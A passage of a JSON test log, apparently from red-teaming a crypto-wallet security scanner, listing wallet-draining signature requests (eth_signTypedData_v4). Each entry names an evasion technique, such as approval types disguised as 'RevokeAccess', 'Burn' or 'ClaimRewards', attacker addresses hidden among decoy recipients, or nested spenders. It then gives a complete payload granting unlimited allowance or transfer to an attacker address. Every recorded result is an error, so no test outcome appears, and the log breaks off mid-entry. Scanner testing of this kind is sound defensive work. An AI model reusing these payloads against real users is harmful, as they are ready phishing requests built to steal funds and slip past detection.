"{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Vote\":[{\"name\":\"proposalId\",\"type\":\"uint256\"},{\"name\":\"voter\",\"type\":\"address\"},{\"name\":\"support\",\"type\":\"bool\"},{\"name\":\"delegate\",\"type\":\"address\"},{\"name\":\"votingPower\",\"type\":\"uint256\"}]},\"primaryType\":\"Vote\",\"domain\":{\"name\":\"Governance\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"proposalId\":\"42\",\"voter\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"support\":true,\"delegate\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"votingPower\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-003", "timestamp": "2026-01-31T19:19:09.892Z", "technique": "NFT metadata impersonation", "category": "impersonate", "description": "Looks like updating NFT metadata", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"UpdateTokenURI\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"newURI\",\"type\":\"string\"},{\"name\":\"royaltyRecipient\",\"type\":\"address\"},{\"name\":\"royaltyBps\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateTokenURI\",\"domain\":{\"name\":\"NFT Collection\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"newURI\":\"ipfs://QmExample\",\"royaltyRecipient\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"royaltyBps\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-004", "timestamp": "2026-01-31T19:19:19.457Z", "technique": "Social recovery impersonation", "category": "impersonate", "description": "Looks like adding recovery guardian", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"AddGuardian\":[{\"name\":\"wallet\",\"type\":\"address\"},{\"name\":\"guardian\",\"type\":\"address\"},{\"name\":\"threshold\",\"type\":\"uint256\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"AddGuardian\",\"domain\":{\"name\":\"Social Recovery Module\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"wallet\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"guardian\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "DECOY-001", "timestamp": "2026-01-31T19:19:29.018Z", "technique": "Address array flooding", "category": "decoy", "description": "Spender is 1 of 20 addresses", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MultiSend\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"recipients\",\"type\":\"address[]\"},{\"name\":\"amounts\",\"type\":\"uint256[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"MultiSend\",\"domain\":{\"name\":\"Multi Sender\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"recipients\":[\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"0xE592427A0AEce92De3Edee1F18E0157C05861564\",\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"0x000000000022D473030F116dDEE9F6B43aC78BA3\",\"0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2\",\"0x6B175474E89094C44Da98b954EedcdCdAe53739cE\",\"0xdAC17F958D2ee523a2206206994597C13D831ec7\",\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"],\"amounts\":[\"100000\",\"200000\",\"300000\",\"400000\",\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"100000\",\"200000\",\"300000\",\"400000\",\"500000\"],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "DECOY-002", "timestamp": "2026-01-31T19:19:38.589Z", "technique": "Multi-recipient decoy", "category": "decoy", "description": "Attacker hidden among legit recipients", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Recipient\":[{\"name\":\"addr\",\"type\":\"address\"},{\"name\":\"share\",\"type\":\"uint256\"},{\"name\":\"label\",\"type\":\"string\"}],\"SplitPayment\":[{\"name\":\"payer\",\"type\":\"address\"},{\"name\":\"totalAmount\",\"type\":\"uint256\"},{\"name\":\"recipients\",\"type\":\"Recipient[]\"}]},\"primaryType\":\"SplitPayment\",\"domain\":{\"name\":\"Payment Splitter\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"payer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"totalAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"recipients\":[{\"addr\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"share\":\"1000\",\"label\":\"Treasury\"},{\"addr\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"share\":\"500\",\"label\":\"Marketing\"},{\"addr\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"share\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"label\":\"Operations\"},{\"addr\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"share\":\"250\",\"label\":\"Dev Fund\"}]}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "VALUE-001", "timestamp": "2026-01-31T19:19:48.148Z", "technique": "Zero means unlimited", "category": "value", "description": "Value=0 but contract interprets as max", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetLimit\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"spender\",\"type\":\"address\"},{\"name\":\"limit\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"SetLimit\",\"domain\":{\"name\":\"Spending Limits\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"spender\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"limit\":\"0\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "VALUE-002", "timestamp": "2026-01-31T19:19:57.694Z", "technique": "Negative value illusion", "category": "value", "description": "Max uint256 displayed as -1", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Adjust\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"operator\",\"type\":\"address\"},{\"name\":\"adjustment\",\"type\":\"int256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Adjust\",\"domain\":{\"name\":\"Balance Adjuster\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"adjustment\":\"-1\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-001", "timestamp": "2026-01-31T19:20:07.249Z", "technique": "Burn that transfers", "category": "action", "description": "Looks like burning but transfers to spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Burn\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"burnAddress\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Burn\",\"domain\":{\"name\":\"Token Burner\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"burnAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-002", "timestamp": "2026-01-31T19:20:16.819Z", "technique": "Lock that approves", "category": "action", "description": "Looks like locking tokens but approves", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"LockTokens\":[{\"name\":\"locker\",\"type\":\"address\"},{\"name\":\"lockContract\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"duration\",\"type\":\"uint256\"}]},\"primaryType\":\"LockTokens\",\"domain\":{\"name\":\"Token Locker\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"locker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"lockContract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"duration\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-003", "timestamp": "2026-01-31T19:20:26.386Z", "technique": "Stake that approves", "category": "action", "description": "Looks like staking but grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Stake\":[{\"name\":\"staker\",\"type\":\"address\"},{\"name\":\"stakingPool\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"lockPeriod\",\"type\":\"uint256\"}]},\"primaryType\":\"Stake\",\"domain\":{\"name\":\"Staking Rewards\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"staker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"stakingPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"lockPeriod\":\"31536000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-004", "timestamp": "2026-01-31T19:20:35.951Z", "technique": "Migration to attacker", "category": "action", "description": "Looks like v2 migration but goes to attacker", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MigrateToV2\":[{\"name\":\"holder\",\"type\":\"address\"},{\"name\":\"v2Contract\",\"type\":\"address\"},{\"name\":\"migrateAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"MigrateToV2\",\"domain\":{\"name\":\"Token Migration\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"holder\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"v2Contract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"migrateAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN61-EIP3009-022", "timestamp": "2026-01-31T19:20:45.519Z", "technique": "EIP-3009 uppercase addresses", "category": "eip3009", "description": "EIP-3009 with addresses in all uppercase (invalid checksum)", "expectedBypass": "Invalid checksum might confuse validators", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0B86991C6218B36C1D19D4A2E9EB0CE3606EB48\"},\"message\":{\"from\":\"0x027821C81BC29F8860E7A17AB759ED000C97F178\",\"to\":\"0x87EF9D8F1CEC5AFC1A46B472D068FB84E7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0xfa50f1d57f53f50bbd83b95beab62e620a342c082307bf6f16061faea05a2a5d\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN61-EIP3009-054", "timestamp": "2026-01-31T19:20:55.087Z", "technique": "EIP-3009 self transfer", "category": "eip3009", "description": "EIP-3009 where from = SPENDER (attacker sending to self)", "expectedBypass": "Self-transfer might seem benign", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0xa8966021f201bc72ffc20618ec182e99bc62d0d825ed1535742866809caf7de3\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-001", "timestamp": "2026-01-31T19:21:04.640Z", "technique": "RevokeAccess type that grants", "category": "semantic", "description": "Type named RevokeAccess but grants unlimited approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"RevokeAccess\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"revokedAddress\",\"type\":\"address\"},{\"name\":\"revokeAmount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"RevokeAccess\",\"domain\":{\"name\":\"Token Security Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"revokedAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"revokeAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-002", "timestamp": "2026-01-31T19:21:14.202Z", "technique": "DisableWithdrawals type", "category": "semantic", "description": "Sounds like disabling but enables", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"DisableWithdrawals\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"disabledFor\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"expiry\",\"type\":\"uint256\"}]},\"primaryType\":\"DisableWithdrawals\",\"domain\":{\"name\":\"Vault Security\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"disabledFor\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"expiry\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-003", "timestamp": "2026-01-31T19:21:23.745Z", "technique": "SecurityUpdate type", "category": "semantic", "description": "Looks like security config but adds spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SecurityConfig\":[{\"name\":\"token\",\"type\":\"address\"},{\"name\":\"maxAmount\",\"type\":\"uint256\"}],\"SecurityUpdate\":[{\"name\":\"user\",\"type\":\"address\"},{\"name\":\"trustedOperator\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"SecurityConfig\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"SecurityUpdate\",\"domain\":{\"name\":\"Security Manager v2\",\"version\":\"2.0\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"user\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"trustedOperator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"config\":{\"token\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\",\"maxAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-004", "timestamp": "2026-01-31T19:21:33.306Z", "technique": "EmergencyStop type", "category": "semantic", "description": "Emergency action that grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"EmergencyStop\":[{\"name\":\"initiator\",\"type\":\"address\"},{\"name\":\"emergencyContact\",\"type\":\"address\"},{\"name\":\"fundsLimit\",\"type\":\"uint256\"},{\"name\":\"activateBy\",\"type\":\"uint256\"}]},\"primaryType\":\"EmergencyStop\",\"domain\":{\"name\":\"Emergency Protocol\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"initiator\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"emergencyContact\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"fundsLimit\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"activateBy\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-005", "timestamp": "2026-01-31T19:21:42.875Z", "technique": "ClaimRewards type", "category": "semantic", "description": "Looks like claiming rewards but approves spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"ClaimRewards\":[{\"name\":\"claimer\",\"type\":\"address\"},{\"name\":\"rewardsPool\",\"type\":\"address\"},{\"name\":\"claimAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"ClaimRewards\",\"domain\":{\"name\":\"Rewards Distribution\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"claimer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"rewardsPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"claimAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-001", "timestamp": "2026-01-31T19:21:52.452Z", "technique": "Deeply nested admin", "category": "nested", "description": "Spender buried 4 levels deep in config", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Admin\":[{\"name\":\"address\",\"type\":\"address\"},{\"name\":\"level\",\"type\":\"uint8\"}],\"SecurityLevel\":[{\"name\":\"admins\",\"type\":\"Admin[]\"},{\"name\":\"threshold\",\"type\":\"uint256\"}],\"Config\":[{\"name\":\"security\",\"type\":\"SecurityLevel\"},{\"name\":\"enabled\",\"type\":\"bool\"}],\"UpdateConfig\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"Config\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateConfig\",\"domain\":{\"name\":\"Config Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"config\":{\"security\":{\"admins\":[{\"address\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"level\":255}],\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"enabled\":true},\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-002", "timestamp": "2026-01-31T19:22:02.027Z", "technique": "Metadata nested recipient", "category": "nested", "description": "Spender in metadata.attributes structure", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Attribute\":[{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"address\"}],\"Metadata\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"attributes\",\"type\":\"Attribute[]\"}],\"UpdateMetadata\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"metadata\",\"type\":\"Metadata\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateMetadata\",\"domain\":{\"name\":\"NFT Registry\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"metadata\":{\"name\":\"My 